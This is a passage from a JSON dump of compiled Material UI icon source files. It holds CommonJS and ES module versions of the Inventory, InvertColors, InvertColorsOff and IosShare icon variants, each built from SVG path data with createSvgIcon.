    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7h16V3.98L4 4zm1 13h14V9H5zm4-8h6v2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1 0-2 .9-2 2v3.01c0 .72.43 1.34 1 1.69V20c0 1.1 1.1 2 2 2h14c.9 0 2-.9 2-2V8.7c.57-.35 1-.97 1-1.69V4c0-1.1-1-2-2-2m-1 18H5V9h14zm1-13H4V4l16-.02z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12h6v2H9z\"\n}, \"2\")], 'Inventory2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.5 15.51 17l-3.01-3-1.5 1.5 4.51 4.5 6.99-7z\"\n}, \"1\")], 'InventoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.5 15.51 17l-3.01-3-1.5 1.5 4.51 4.5 6.99-7z\"\n}, \"1\")], 'InventoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.75 12.25c-.41-.41-1.09-.41-1.5 0L15.51 17l-2.26-2.25c-.41-.41-1.08-.41-1.5 0-.41.41-.41 1.09 0 1.5l3.05 3.04c.39.39 1.02.39 1.41 0l5.53-5.54c.42-.41.42-1.09.01-1.5\"\n}, \"1\")], 'InventoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.75 12.25c-.41-.41-1.09-.41-1.5 0L15.51 17l-2.26-2.25c-.41-.41-1.08-.41-1.5 0-.41.41-.41 1.09 0 1.5l3.05 3.04c.39.39 1.02.39 1.41 0l5.53-5.54c.42-.41.42-1.09.01-1.5\"\n}, \"1\")], 'InventoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h8v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.5 15.51 17l-3.01-3-1.5 1.5 4.51 4.5 6.99-7z\"\n}, \"1\")], 'InventorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h8v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.5 15.51 17l-3.01-3-1.5 1.5 4.51 4.5 6.99-7z\"\n}, \"1\")], 'InventorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 11.5 1.5 1.5-6.99 7L11 15.5l1.5-1.5 3.01 3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v3H7V5H5v14h6.68l-3.51-3.5 4.33-4.33 3.01 3 3.49-3.5V5z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19V5h2v3h10V5h2v5.67l2-2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8.68l-2-2zm7-16c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"2\")], 'InventoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InventoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 11.5 1.5 1.5-6.99 7L11 15.5l1.5-1.5 3.01 3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v3H7V5H5v14h6.68l-3.51-3.5 4.33-4.33 3.01 3 3.49-3.5V5z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19V5h2v3h10V5h2v5.67l2-2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8.68l-2-2zm7-16c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"2\")], 'InventoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColors.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57L12 2z\"\n}), 'InvertColors');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColors.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57L12 2z\"\n}), 'InvertColors');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.5 3.5c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l2.4 2.4c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56l2.91-2.87c.39-.38 1.01-.38 1.4 0l4.95 4.87C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.5 3.5c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l2.4 2.4c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56l2.91-2.87c.39-.38 1.01-.38 1.4 0l4.95 4.87C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}), 'InvertColorsOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14.83V19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28zm0-10.02v4.37l-2.2-2.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}, \"1\")], 'InvertColorsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14.83V19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28zm0-10.02v4.37l-2.2-2.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l4.2 4.2c-1 1.31-1.6 2.94-1.6 4.7C4 17.48 7.58 21 12 21c1.75 0 3.36-.56 4.67-1.5l3.1 3.1zM12 19c-3.31 0-6-2.63-6-5.87 0-1.19.36-2.32 1.02-3.28L12 14.83zM8.38 5.56 12 2l5.65 5.56C19.1 8.99 20 10.96 20 13.13c0 1.18-.27 2.29-.74 3.3L12 9.17V4.81L9.8 6.97z\"\n}, \"1\")], 'InvertColorsOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM12 2 6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57z\"\n}), 'InvertColorsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM12 2 6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57z\"\n}), 'InvertColorsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57L12.7 2.69c-.39-.38-1.01-.38-1.4 0z\"\n}), 'InvertColorsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57L12.7 2.69c-.39-.38-1.01-.38-1.4 0z\"\n}), 'InvertColorsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57L12 2z\"\n}), 'InvertColorsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.81V19c-3.31 0-6-2.63-6-5.87 0-1.56.62-3.03 1.75-4.14zM6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57L12 2z\"\n}), 'InvertColorsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.75 8.99C6.62 10.1 6 11.57 6 13.13 6 16.37 8.69 19 12 19V4.81z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 7.56 12 2 6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57M6 13.13c0-1.56.62-3.03 1.75-4.14L12 4.81V19c-3.31 0-6-2.63-6-5.87\"\n}, \"1\")], 'InvertColorsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InvertColorsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.75 8.99C6.62 10.1 6 11.57 6 13.13 6 16.37 8.69 19 12 19V4.81z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 7.56 12 2 6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57M6 13.13c0-1.56.62-3.03 1.75-4.14L12 4.81V19c-3.31 0-6-2.63-6-5.87\"\n}, \"1\")], 'InvertColorsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 5-1.42 1.42-1.59-1.59V16h-1.98V4.83L9.42 6.42 8 5l4-4zm4 5v11c0 1.1-.9 2-2 2H6c-1.11 0-2-.9-2-2V10c0-1.11.89-2 2-2h3v2H6v11h12V10h-3V8h3c1.1 0 2 .89 2 2\"\n}), 'IosShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 5-1.42 1.42-1.59-1.59V16h-1.98V4.83L9.42 6.42 8 5l4-4zm4 5v11c0 1.1-.9 2-2 2H6c-1.11 0-2-.9-2-2V10c0-1.11.89-2 2-2h3v2H6v11h12V10h-3V8h3c1.1 0 2 .89 2 2\"\n}), 'IosShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 5-1.42 1.42-1.59-1.59V16h-1.98V4.83L9.42 6.42 8 5l4-4zm4 5v11c0 1.1-.9 2-2 2H6c-1.11 0-2-.9-2-2V10c0-1.11.89-2 2-2h3v2H6v11h12V10h-3V8h3c1.1 0 2 .89 2 2\"\n}), 'IosShareOutlined');"
  },
  {
